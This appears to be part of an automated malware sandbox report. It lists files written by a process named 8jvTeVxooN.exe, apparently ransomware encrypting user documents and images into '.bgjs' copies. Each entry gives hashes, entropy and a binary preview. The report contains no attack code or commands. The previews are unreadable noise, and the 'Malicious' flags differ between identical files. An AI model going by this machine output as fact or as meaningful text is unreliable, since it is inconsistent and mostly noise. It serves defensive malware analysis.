Entropy (8bit):	7.863473190257226
Encrypted:	false
SSDEEP:	24:HUK7zaJ7TCuLA1qxeDdl5svgBBM/nNewVpIqou6Z/KJvsiT6XHoTxroerzmhgl0I:HUKva301qxw/5wg3M/nNrphr6Z/gvnOC
MD5:	7ABBF8BBA75E50000F9B603FB1D1373B
SHA1:	84DD0C45B9AA7146FC7ED2451D0871A46C002A0B
SHA-256:	5E091710DD0C7127087D6B543C9C2E291CD6D7FE97F7B5A1CB6AA07E90027DA7
SHA-512:	A6CE9B379FE5D38B6679417FB32A8E2E87CC2A10AC9C1F57DD0A68026ED12A40F84A91A01F58390BB476321D43019DFE6BBDA0225664EE21B16DB0FFA9508658
Malicious:	false
Preview:	UMMBDZ..<..Bl'.t...U...;v..N...aZp..../-....v....Gl9.2Q...Dw`~,......p..2....B..@.f..h....k.......~..`..K......U...T!.w>=.G.....w....W.\|.c..].. .W...3E.5.t..q$...p.>..U_.Q.n.KRE...7.8..u-.[W......{..aC....^0......`.,(=..\...A...g.......b...6.R.<....>(...sV..$Y...R......X.9C.....ci.Y...jr...?..]"...U..`.b.6?T.\........PKz.+l.....f.....\5./.q..?.r..s.B.%.D.d.....[6(..uf..k.7ZDW.-S9.r.nu.]V.. .........R,L.:q.....a3.u...u....F..}i.V..$....?Y.=..,.iw....N....L6.....n.b6'M.."..g.P.!j.Q.:.....Z.......ZSq.......S.d......2.,.L..>U.,.4G............z}S.....$d.I.\|?t:J\|x.h.j..F. .....w.....=<.5h...#.?...&.o.....H...+..v.......[..C.m...?..P.z.j.h.H15.$e....z..v..9+{......g....!\|m.(...e..[O.+s......#...^..^..>..K.Z......\|..r[...ek?q.3..JVJ.i.a......b..,`.....z....}G.>.....M.CQ.@......mE.;.D....`.K"7.3.t..yb..$"/@.Wh.._.l...tX...1.)u<..?U......GG..P.El.;.....\.1...AD...~.^..l.[J....id..0.....0........$....Y.p.T...1......u...R.q....-0...j.=...!..$..L.

C:\Users\user\Desktop\AIXACVYBSB\UMMBDNEQBN.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863473190257226
Encrypted:	false
SSDEEP:	24:HUK7zaJ7TCuLA1qxeDdl5svgBBM/nNewVpIqou6Z/KJvsiT6XHoTxroerzmhgl0I:HUKva301qxw/5wg3M/nNrphr6Z/gvnOC
MD5:	7ABBF8BBA75E50000F9B603FB1D1373B
SHA1:	84DD0C45B9AA7146FC7ED2451D0871A46C002A0B
SHA-256:	5E091710DD0C7127087D6B543C9C2E291CD6D7FE97F7B5A1CB6AA07E90027DA7
SHA-512:	A6CE9B379FE5D38B6679417FB32A8E2E87CC2A10AC9C1F57DD0A68026ED12A40F84A91A01F58390BB476321D43019DFE6BBDA0225664EE21B16DB0FFA9508658
Malicious:	false
Preview:	UMMBDZ..<..Bl'.t...U...;v..N...aZp..../-....v....Gl9.2Q...Dw`~,......p..2....B..@.f..h....k.......~..`..K......U...T!.w>=.G.....w....W.\|.c..].. .W...3E.5.t..q$...p.>..U_.Q.n.KRE...7.8..u-.[W......{..aC....^0......`.,(=..\...A...g.......b...6.R.<....>(...sV..$Y...R......X.9C.....ci.Y...jr...?..]"...U..`.b.6?T.\........PKz.+l.....f.....\5./.q..?.r..s.B.%.D.d.....[6(..uf..k.7ZDW.-S9.r.nu.]V.. .........R,L.:q.....a3.u...u....F..}i.V..$....?Y.=..,.iw....N....L6.....n.b6'M.."..g.P.!j.Q.:.....Z.......ZSq.......S.d......2.,.L..>U.,.4G............z}S.....$d.I.\|?t:J\|x.h.j..F. .....w.....=<.5h...#.?...&.o.....H...+..v.......[..C.m...?..P.z.j.h.H15.$e....z..v..9+{......g....!\|m.(...e..[O.+s......#...^..^..>..K.Z......\|..r[...ek?q.3..JVJ.i.a......b..,`.....z....}G.>.....M.CQ.@......mE.;.D....`.K"7.3.t..yb..$"/@.Wh.._.l...tX...1.)u<..?U......GG..P.El.;.....\.1...AD...~.^..l.[J....id..0.....0........$....Y.p.T...1......u...R.q....-0...j.=...!..$..L.

C:\Users\user\Desktop\AIXACVYBSB\XZXHAVGRAG.pdf

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857442077665755
Encrypted:	false
SSDEEP:	24:qO3lHAEBmrAvdYyPPmzAIJZGA+aMGszyOuMPEtJDt/6Tc3Mo3yL311IbefdfYlMB:T5PP8JvtMLOAPspB3bI19fdfYWMoD
MD5:	D337B066CC1B0077651E056F31257680
SHA1:	5645F441690F2803FE33F3302155FE167ED05600
SHA-256:	C071277EE17E0D1BBD8D23A235BCDACE962AE4181332CBFFABBF1868F8C9704F
SHA-512:	C5EB72766AEA0E8CE07EF725ED419787585746F2F2140C864D9E1BAD0C965026EDDFED21DE67BAD5C90702D68E362B65EFE8224ED6DB8770B4933E5752689399
Malicious:	true
Preview:	XZXHA..T.]w1C15...4K].s.oy......'F>.N....:\|".h...D%N.'...?.`N...W.....o.....=.^n...2aNd.&..}s.6..e... .X.{...F...p(.t..."........R...M.]%.$isz.{.....~..n.?.F.......wxh."^.....~...g;TxKNX...U]P$.Y`j.E.%.~..b..H. ..........r...o.\|./.........:..o_.zX..u...=..s}..A..;.%/2.kt=..{{I........00p..9...F6....HE.....;..Wu.+E..K....i"..2EK..V..5..!hj....Blj.w...L.pk.Q.\.'../Y;......-..:.0H...(.}.,p..H4.vn&.Kgxt"b,...rT.x...6.y.....6......\|...c..rP.3.....M[.>.......6_.[.\|.V..t.%..5d..+...x.......2.G6.k........i..()....u[.\|.....]...~.}.H...~..\...... Qj........>;...&l.=.........}T.]^.i0.....]e.X.w<.W..g;..A&..D...H)._...y..c~.m..........T.@...V........~.O..t.Ux.$s./..<......,&.nu.$.....'......X..5.g.1.n................n?..-Kh`9.Q..T..c.~L.X....FF.)M..L...E..#4...8......{...}^P.s....K....!_B'.........W.0C..oP.Epn..U..... .#:..(.\.].-2b].1X....C.....BqN.H(........2..;8.+:....P...(.&.>.....].d.....,Z.C-..\|...X.>..\FhW[91Z..G.&...{o...<.X....5PHlk..

C:\Users\user\Desktop\AIXACVYBSB\XZXHAVGRAG.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857442077665755
Encrypted:	false
SSDEEP:	24:qO3lHAEBmrAvdYyPPmzAIJZGA+aMGszyOuMPEtJDt/6Tc3Mo3yL311IbefdfYlMB:T5PP8JvtMLOAPspB3bI19fdfYWMoD
MD5:	D337B066CC1B0077651E056F31257680
SHA1:	5645F441690F2803FE33F3302155FE167ED05600
SHA-256:	C071277EE17E0D1BBD8D23A235BCDACE962AE4181332CBFFABBF1868F8C9704F
SHA-512:	C5EB72766AEA0E8CE07EF725ED419787585746F2F2140C864D9E1BAD0C965026EDDFED21DE67BAD5C90702D68E362B65EFE8224ED6DB8770B4933E5752689399
Malicious:	false
Preview:	XZXHA..T.]w1C15...4K].s.oy......'F>.N....:\|".h...D%N.'...?.`N...W.....o.....=.^n...2aNd.&..}s.6..e... .X.{...F...p(.t..."........R...M.]%.$isz.{.....~..n.?.F.......wxh."^.....~...g;TxKNX...U]P$.Y`j.E.%.~..b..H. ..........r...o.\|./.........:..o_.zX..u...=..s}..A..;.%/2.kt=..{{I........00p..9...F6....HE.....;..Wu.+E..K....i"..2EK..V..5..!hj....Blj.w...L.pk.Q.\.'../Y;......-..:.0H...(.}.,p..H4.vn&.Kgxt"b,...rT.x...6.y.....6......\|...c..rP.3.....M[.>.......6_.[.\|.V..t.%..5d..+...x.......2.G6.k........i..()....u[.\|.....]...~.}.H...~..\...... Qj........>;...&l.=.........}T.]^.i0.....]e.X.w<.W..g;..A&..D...H)._...y..c~.m..........T.@...V........~.O..t.Ux.$s./..<......,&.nu.$.....'......X..5.g.1.n................n?..-Kh`9.Q..T..c.~L.X....FF.)M..L...E..#4...8......{...}^P.s....K....!_B'.........W.0C..oP.Epn..U..... .#:..(.\.].-2b].1X....C.....BqN.H(........2..;8.+:....P...(.&.>.....].d.....,Z.C-..\|...X.>..\FhW[91Z..G.&...{o...<.X....5PHlk..

C:\Users\user\Desktop\NWTVCDUMOB.png

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855451059757558
Encrypted:	false
SSDEEP:	24:4DpR5d5eRZkxzCEyyUCPUeVgDIXLbsqTRgXjO3lGX5P9ObD:mp7dEKjvbfVYqTij+e6D
MD5:	869D494270BCB7B4A4A992EF4CD1391C
SHA1:	021500D6F9889108A2FEDDBCD722BCE1B042CCB4
SHA-256:	AC8024784FAF602A47674A524BFA2A20D99E41EFDFF39D8B98A56CD54E41D5E9
SHA-512:	8613B5093811038BDF569ED46303F8C2FF6DC484DB9946BCFC7F30B1B9C0EEB1C1CFFEF1EBAF726E2D41E2CFBC855082120500F4A4787F1EC756C636591FE79C
Malicious:	true
Preview:	NWTVCY.0~WVj....K..T...U4~S.Y.o.B.g..zD\...........c.zI@0Pp..,2;ZS.{..G\|8..RU3,Nq..a.......5.4.t...6...e.......,.u..LH..Q.;..K...!&..........qI........).(.UbM.4...z...].IWt....J..X.^2...}.........HrBeV..R...A.?/t(.NP./v.l...?......Xd.;.R..V.P..u...n...n...<....wai.........K...r.....!..JW.`..O-`.[..T........\-......>....w?.....r..G{......\>b@....b3.P.\N..^w.......bp.....#lO..."....w/....f...B......go.....kg...,..k7.Z^.qG...F.%..^Rf..5.w.....(..u.`.7.....j.F.......e.....z.<0.......z.R..O.E.Dwp^S....?an...Q.V1.>.).$V.....Qs..~eRe.v..cy.y....c.4.I......OI.,...E..#.'.H.N...qM_Vq...@"...{.!...d..........o..h)..F.;D.hY..-.e..l...5.b...M..hm...n........K.".7.G.N.^..../.....p...y....5q.....Y./t.V.Q.......gL;:..r..5.5B..Y..p.:...z..vNK......Q....$J.9u..5..0...DK`.f...]...0....~...`.wA...&..,.V..Sv...f..Q....D}...I_.....e..~...%...U..=.y.?B..)a..!..<.............v#Y]......P..)..v......i<.x....}...........B.P.E...V...n.sk..;.)..E+$....d5M...R

C:\Users\user\Desktop\NWTVCDUMOB.png.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855451059757558
Encrypted:	false
SSDEEP:	24:4DpR5d5eRZkxzCEyyUCPUeVgDIXLbsqTRgXjO3lGX5P9ObD:mp7dEKjvbfVYqTij+e6D
MD5:	869D494270BCB7B4A4A992EF4CD1391C
SHA1:	021500D6F9889108A2FEDDBCD722BCE1B042CCB4
SHA-256:	AC8024784FAF602A47674A524BFA2A20D99E41EFDFF39D8B98A56CD54E41D5E9
SHA-512:	8613B5093811038BDF569ED46303F8C2FF6DC484DB9946BCFC7F30B1B9C0EEB1C1CFFEF1EBAF726E2D41E2CFBC855082120500F4A4787F1EC756C636591FE79C
Malicious:	false
Preview:	NWTVCY.0~WVj....K..T...U4~S.Y.o.B.g..zD\...........c.zI@0Pp..,2;ZS.{..G\|8..RU3,Nq..a.......5.4.t...6...e.......,.u..LH..Q.;..K...!&..........qI........).(.UbM.4...z...].IWt....J..X.^2...}.........HrBeV..R...A.?/t(.NP./v.l...?......Xd.;.R..V.P..u...n...n...<....wai.........K...r.....!..JW.`..O-`.[..T........\-......>....w?.....r..G{......\>b@....b3.P.\N..^w.......bp.....#lO..."....w/....f...B......go.....kg...,..k7.Z^.qG...F.%..^Rf..5.w.....(..u.`.7.....j.F.......e.....z.<0.......z.R..O.E.Dwp^S....?an...Q.V1.>.).$V.....Qs..~eRe.v..cy.y....c.4.I......OI.,...E..#.'.H.N...qM_Vq...@"...{.!...d..........o..h)..F.;D.hY..-.e..l...5.b...M..hm...n........K.".7.G.N.^..../.....p...y....5q.....Y./t.V.Q.......gL;:..r..5.5B..Y..p.:...z..vNK......Q....$J.9u..5..0...DK`.f...]...0....~...`.wA...&..,.V..Sv...f..Q....D}...I_.....e..~...%...U..=.y.?B..)a..!..<.............v#Y]......P..)..v......i<.x....}...........B.P.E...V...n.sk..;.)..E+$....d5M...R

C:\Users\user\Desktop\ONBQCLYSPU\YPSIACHYXW.jpg

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843934012738244
Encrypted:	false
SSDEEP:	24:nGhQIFOMaOTLNAbcb5IW3GWvERk+A5s3OIuogY7v2XxVfc/axLjiJmlIObD:YQIFOMxNAgtrWg+lhgY7v2XxiCp2JmVD
MD5:	C5287F0872D652730E118E7379F55DCF
SHA1:	4D2113988581AA480EB35BED66BE08648FE424A3
SHA-256:	DCECA1AD271A9821DCE0A6D66FB0D7893E522D0B702B51728F4C2E7FFA2C3D39
SHA-512:	18F5FCB2FCCF4ABDB293F8D27E4C10061898C2DAF5473B2FE9E9C2D18E6CC568106FA0149068C8731BF33E7C1D9F3C2377A238E5546834EED2146446AEEAD9E6
Malicious:	false
Preview:	YPSIA....".^..J..s..h.lM...M].1k..^.&.$.........`2.......#\|`..%b...z...A...4:.G[.{..gM......96%......O..T...KF.H6.le.k.Wp6..W>R.,.....yo.l.7..JlMf.][.k..u[X}..$rsq_..5f9\|V.....Uy..c}=...f......q..y.].}Q@............%...-...FN.]00...x5+Qh..V29@L.(7u...6....8D.-.R..,...~.. ..O.=y..=MB.f.}OR...f...>;.fl..@./ .,^...8K.C....?..-H2......S#...j....1p.Z.<K..h...Q.....s.r..."......h#..-...?J..G......#.h.Y..j..j#..?...I.It}.Y.O.4c.sbi:;_.t.....^..-.B.+g3O...=..n.^J.3.p...'..Uu...,.4.....E.......g..F...Qr..0.>.....Er.j. &T.....4.h.@lL..^Oj.[.O...y....F7.nPh.....c...$Z..zd-.1...$..p..A....?p..8...k..GM..)&Ft...3X....^.`c..\\|....3.#..=........(....x%E.s..g=m..v7.'[^Ww..........{\|.L..l .S..-...gA.\|...e..<m-..c....Y.<\%.`Ee....m...Y..%....Rk.8#...)+....V.T.G..+x,..(......#.Ug[d(Q.T...q~=._@....\..T..e2k.r...0).7.q..?B....*J.....IN.+..N..T.t-...M0^(.y.Wdd..~.O.B.R.9../...,..O\|...".U.m......e...q7..f.^.Y..R.+...v....6`n`..<l.;..Gmi0(.....=6M..0\|..4.49.._U...

C:\Users\user\Desktop\ONBQCLYSPU\YPSIACHYXW.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843934012738244
Encrypted:	false
SSDEEP:	24:nGhQIFOMaOTLNAbcb5IW3GWvERk+A5s3OIuogY7v2XxVfc/axLjiJmlIObD:YQIFOMxNAgtrWg+lhgY7v2XxiCp2JmVD
MD5:	C5287F0872D652730E118E7379F55DCF
SHA1:	4D2113988581AA480EB35BED66BE08648FE424A3
SHA-256:	DCECA1AD271A9821DCE0A6D66FB0D7893E522D0B702B51728F4C2E7FFA2C3D39
SHA-512:	18F5FCB2FCCF4ABDB293F8D27E4C10061898C2DAF5473B2FE9E9C2D18E6CC568106FA0149068C8731BF33E7C1D9F3C2377A238E5546834EED2146446AEEAD9E6
Malicious:	false
Preview:	YPSIA....".^..J..s..h.lM...M].1k..^.&.$.........`2.......#\|`..%b...z...A...4:.G[.{..gM......96%......O..T...KF.H6.le.k.Wp6..W>R.,.....yo.l.7..JlMf.][.k..u[X}..$rsq_..5f9\|V.....Uy..c}=...f......q..y.].}Q@............%...-...FN.]00...x5+Qh..V29@L.(7u...6....8D.-.R..,...~.. ..O.=y..=MB.f.}OR...f...>;.fl..@./ .,^...8K.C....?..-H2......S#...j....1p.Z.<K..h...Q.....s.r..."......h#..-...?J..G......#.h.Y..j..j#..?...I.It}.Y.O.4c.sbi:;_.t.....^..-.B.+g3O...=..n.^J.3.p...'..Uu...,.4.....E.......g..F...Qr..0.>.....Er.j. &T.....4.h.@lL..^Oj.[.O...y....F7.nPh.....c...$Z..zd-.1...$..p..A....?p..8...k..GM..)&Ft...3X....^.`c..\\|....3.#..=........(....x%E.s..g=m..v7.'[^Ww..........{\|.L..l .S..-...gA.\|...e..<m-..c....Y.<\%.`Ee....m...Y..%....Rk.8#...)+....V.T.G..+x,..(......#.Ug[d(Q.T...q~=._@....\..T..e2k.r...0).7.q..?B....*J.....IN.+..N..T.t-...M0^(.y.Wdd..~.O.B.R.9../...,..O\|...".U.m......e...q7..f.^.Y..R.+...v....6`n`..<l.;..Gmi0(.....=6M..0\|..4.49.._U...

C:\Users\user\Desktop\XZXHAVGRAG\DVWHKMNFNN.jpg

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845020592529416
Encrypted:	false
SSDEEP:	24:mlftqP2D/x6GzTkcL5nVGQUXpQ0JYV8nOLKBRzitIIIUZtY3AqVejObD:mlftqP2D/H5nVGx5ZJ1nOmJYy3TD
MD5:	9DD8B76662DA564F97721402CB44F6E0
SHA1:	58A6F5670178B3554AEE64D22EA1130CF9E5601A
SHA-256:	07FFB4382CBF4457F853B1DC4DC19BB7735ECDD7E537C23A54D0A8D0433949AA
SHA-512:	8949B5847BD72F8584A1D8EC4F794690957D13C63D2A16ABFD87E4F036530FC150D987D19A4A889D9A67BB6ED3ECBE00E69F150972C70BAD2E690697EA62D7B0
Malicious:	false
Preview:	DVWHK....#&....).?.W.?..3?....-..s".W...o..i.....X.}..dL.[.......$H.....+...>R...k`vh.{}..d...>.bo&.e.=...........\|...I...0....g..G/R..L.)%...t`0.A.L.i.qsn...w....D...Rk.5F:67m.....8..MSH.e]5.. ..\..G..".!.U.m.v..!..-...v..5.v...[kG...s..m...N.G....i......e}.....J.!.(_..1>p.0.r.`..+..@.+e......gda.9.q..........17.X.o[..A..V..l..}n...]]xa.r...7'..c...R..p.3t......s.4+...J...c......-..(b....8.@>{...Z.[....w..^...T.r4.di$D..q..5.......XRB..Ksz".A{o"....B'..r........s^../.k.#.{........r..C.O._..R...U..i..W...x#.........]..MTt..N......e!..'..zi#....#f.T...K...J..f&..N"5.`v.e$.Y..Q.`........$.zW~P.......e..Gs....r...E.........SW8T...x.B.....l]H....'r.i......K...?....onf,..P..oUg....... T+...9......O...Zi/...X.?k...N......j..k..J..;,)..N...}y.w_W-.......G.N...m.1K_9@+.PL0..}.z....K.{..9....8.6.N}i...&.. ]....`.HJ....m....s...E`..1E...W...L......L..S*...\|.6w....+....J.1./......m.&...Y.....sf...4.A5{.'O.....<r[........!a~R.do.....p...`S..%..

C:\Users\user\Desktop\XZXHAVGRAG\DVWHKMNFNN.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845020592529416
Encrypted:	false
SSDEEP:	24:mlftqP2D/x6GzTkcL5nVGQUXpQ0JYV8nOLKBRzitIIIUZtY3AqVejObD:mlftqP2D/H5nVGx5ZJ1nOmJYy3TD
MD5:	9DD8B76662DA564F97721402CB44F6E0
SHA1:	58A6F5670178B3554AEE64D22EA1130CF9E5601A
SHA-256:	07FFB4382CBF4457F853B1DC4DC19BB7735ECDD7E537C23A54D0A8D0433949AA
SHA-512:	8949B5847BD72F8584A1D8EC4F794690957D13C63D2A16ABFD87E4F036530FC150D987D19A4A889D9A67BB6ED3ECBE00E69F150972C70BAD2E690697EA62D7B0
Malicious:	false
Preview:	DVWHK....#&....).?.W.?..3?....-..s".W...o..i.....X.}..dL.[.......$H.....+...>R...k`vh.{}..d...>.bo&.e.=...........\|...I...0....g..G/R..L.)%...t`0.A.L.i.qsn...w....D...Rk.5F:67m.....8..MSH.e]5.. ..\..G..".!.U.m.v..!..-...v..5.v...[kG...s..m...N.G....i......e}.....J.!.(_..1>p.0.r.`..+..@.+e......gda.9.q..........17.X.o[..A..V..l..}n...]]xa.r...7'..c...R..p.3t......s.4+...J...c......-..(b....8.@>{...Z.[....w..^...T.r4.di$D..q..5.......XRB..Ksz".A{o"....B'..r........s^../.k.#.{........r..C.O._..R...U..i..W...x#.........]..MTt..N......e!..'..zi#....#f.T...K...J..f&..N"5.`v.e$.Y..Q.`........$.zW~P.......e..Gs....r...E.........SW8T...x.B.....l]H....'r.i......K...?....onf,..P..oUg....... T+...9......O...Zi/...X.?k...N......j..k..J..;,)..N...}y.w_W-.......G.N...m.1K_9@+.PL0..}.z....K.{..9....8.6.N}i...&.. ]....`.HJ....m....s...E`..1E...W...L......L..S*...\|.6w....+....J.1./......m.&...Y.....sf...4.A5{.'O.....<r[........!a~R.do.....p...`S..%..

C:\Users\user\Desktop\XZXHAVGRAG\NWTVCDUMOB.png

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.827261089769255
Encrypted:	false
SSDEEP:	24:cpZr0ttPlG7Fbj7nsuTlT2wX+20pKSluF8jZwWtx2kcRxkuN1h+W8AObD:c7APY7NvndhaI+20pdluFrWtcbxRB4D
MD5:	1E0DA15598658D33A6052F5D4C3F3403
SHA1:	98122077C7E39F8AD83C660EB1C68A91BCA9B58E
SHA-256:	EEFFE01500E799C78EDEFF741F415AD2AB501A4D76A5E080D84C2D350538DEB6
SHA-512:	13EB79CC71DB6A5C1E175D32AEEA96403B2F68184F7148E6C73B2689DC61E35511A7E177F3D809DAA055DE46604466EC1E5563F9076AFABEBAD2E03DBBF236E4
Malicious:	false
Preview:	NWTVC0.d.e....K.BQ6..:.%.g.....Co.S....Od..t[..he.5]t..p.a.ebWn...`I.c.1.#..!.\|2...<5....~....1..,...4.o....t.O..."..M.o...}9.^.[x..;.pD...%{.8..C6..H.0..A-...5..,...G...Z....mM6.....$T..+.@...QD.......N.%n..S.....k%..!.&5.y.bB..&.&Xa...r#V...."},D.Y.4A..&.c..=.z..a..D.SCTE(.....m../B.{.o......@..Ia..a.h.V.!.O..kD.jC.Z....i~..n'.... In.RU..) .I.oV..X...vkf...4R.zf.b...e.g.<p.k...w....`..p...4.c...y....RB..y.4u.'.D........<TG$....s.5m...&:[I....r.-.3....1.../L.uz....Ktw1..O..Y6....9.../.QiQ.c.^#...:..Nx.M{..$x.}s...Uu.Gz.%6G.F........!k...z...VUz.9....#.F...-..J.o...Uf.{5%_..mC.F..\.5. ..............iG......a.x.....0o;E.1{[...f...w.`?....f.E._Xv.9.]mT..!......!=.W......D..>g`=+..........NBv.8.j.lR...t.:.mw.";+......V..9.n.......*.h......)..g.F..O...'.'&\....C..=o.y.h.;R..,T.9.^Z.[a!....U...1P.p....Z..m.g.!..^gv.J,&...3Ew...{w.IP..,.cV..%NBtd.R..._. .L:.%....v\.;.f..,.........H.O.....\|...3..q,o....Sq...{...w........y:TQ........ ,.....1)..E2.

C:\Users\user\Desktop\XZXHAVGRAG\NWTVCDUMOB.png.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.827261089769255
Encrypted:	false
SSDEEP:	24:cpZr0ttPlG7Fbj7nsuTlT2wX+20pKSluF8jZwWtx2kcRxkuN1h+W8AObD:c7APY7NvndhaI+20pdluFrWtcbxRB4D
MD5:	1E0DA15598658D33A6052F5D4C3F3403
SHA1:	98122077C7E39F8AD83C660EB1C68A91BCA9B58E
SHA-256:	EEFFE01500E799C78EDEFF741F415AD2AB501A4D76A5E080D84C2D350538DEB6
SHA-512:	13EB79CC71DB6A5C1E175D32AEEA96403B2F68184F7148E6C73B2689DC61E35511A7E177F3D809DAA055DE46604466EC1E5563F9076AFABEBAD2E03DBBF236E4
Malicious:	false
Preview:	NWTVC0.d.e....K.BQ6..:.%.g.....Co.S....Od..t[..he.5]t..p.a.ebWn...`I.c.1.#..!.\|2...<5....~....1..,...4.o....t.O..."..M.o...}9.^.[x..;.pD...%{.8..C6..H.0..A-...5..,...G...Z....mM6.....$T..+.@...QD.......N.%n..S.....k%..!.&5.y.bB..&.&Xa...r#V...."},D.Y.4A..&.c..=.z..a..D.SCTE(.....m../B.{.o......@..Ia..a.h.V.!.O..kD.jC.Z....i~..n'.... In.RU..) .I.oV..X...vkf...4R.zf.b...e.g.<p.k...w....`..p...4.c...y....RB..y.4u.'.D........<TG$....s.5m...&:[I....r.-.3....1.../L.uz....Ktw1..O..Y6....9.../.QiQ.c.^#...:..Nx.M{..$x.}s...Uu.Gz.%6G.F........!k...z...VUz.9....#.F...-..J.o...Uf.{5%_..mC.F..\.5. ..............iG......a.x.....0o;E.1{[...f...w.`?....f.E._Xv.9.]mT..!......!=.W......D..>g`=+..........NBv.8.j.lR...t.:.mw.";+......V..9.n.......*.h......)..g.F..O...'.'&\....C..=o.y.h.;R..,T.9.^Z.[a!....U...1P.p....Z..m.g.!..^gv.J,&...3Ew...{w.IP..,.cV..%NBtd.R..._. .L:.%....v\.;.f..,.........H.O.....\|...3..q,o....Sq...{...w........y:TQ........ ,.....1)..E2.

C:\Users\user\Desktop\XZXHAVGRAG\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8573757439757435
Encrypted:	false
SSDEEP:	24:xTUC6fhGWlbYxphTA+fOO5wS4EOVTN1lwGmeFdqNhgGISfdygVPsHQXOeObD:VUhfTYxXXfOawS2TN1yGrFdglIEygVPG
MD5:	9D17EEEBEBAAC81FB1354001DD058845
SHA1:	C86014B6C56CBF6EBACD6372EA905B46C5A38D8F
SHA-256:	58F80ACC883A6FAC32E272E20AA45F45629861A2513B1562288B96E8FBB3869D
SHA-512:	B507D38BF700C6A82FA6B9F35F8704982C25DC3D26E84CB355DD4247E1E9008423B59206F7E398AFCFBE54A39B75C9DA017890B91CD944574D2949A188F65A89
Malicious:	false
Preview:	XZXHA...$%{....QN.2j.&.@\.pA......GW.5<s......5`.}.h^z....@o.N..f..hQ..f.x.p.0..SR...3...>.=.4...j.7.....O;7.q.@.[i.<#.4^q....W.Q.6...v..J./........0.....d...gp.>..M....4..M.W.......TS_.!.!.O..d.P.l?..-f.....j[.8uFJf....5....d....IBC?.p7{..._.F.>.E..y.:.29.47....'!.v..G.>J.h#(t..?...P...^8k.8.....-..u.Q i...y.....+g<.-......u(....V....W..1.@E.m:WZe....1...0..I...5.._...Z...1s.Q0.hnIg..Pu].i..Y....r.XsX[z...rH.z._W..].....)W....p...i...R..g.2..N..`..%.I..J..f......?vi.4..x..x4\.m....P.X..z.s...`.N...;X.....c!&....N./6.#...sK....U..h.j.DX....n.2.2%.>....t.`.?.'D.>`..(.F.f)...~..#...0........ww.................Iy>k.m.4.0g>..$..k....~.gU..r.K..38.........q.k.AG..}....D.0.3.Q..cF./..w$F.V..<.1.+......I...X;.}...<v.?.U.4.a.$..U.>+.M#.....)m.....T./...u...T...$dq..pP..+...EG.....$J.......`".A.$.j..4..I.d.-.........38kWi.\....0...wi.\....(..cB@.......T....E_.$...m..5..b..:....l...g..9.. M.......,.. .......%.-2..3..-......{9...N

C:\Users\user\Desktop\XZXHAVGRAG\XZXHAVGRAG.docx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8573757439757435
Encrypted:	false
SSDEEP:	24:xTUC6fhGWlbYxphTA+fOO5wS4EOVTN1lwGmeFdqNhgGISfdygVPsHQXOeObD:VUhfTYxXXfOawS2TN1yGrFdglIEygVPG
MD5:	9D17EEEBEBAAC81FB1354001DD058845
SHA1:	C86014B6C56CBF6EBACD6372EA905B46C5A38D8F
SHA-256:	58F80ACC883A6FAC32E272E20AA45F45629861A2513B1562288B96E8FBB3869D
SHA-512:	B507D38BF700C6A82FA6B9F35F8704982C25DC3D26E84CB355DD4247E1E9008423B59206F7E398AFCFBE54A39B75C9DA017890B91CD944574D2949A188F65A89
Malicious:	false
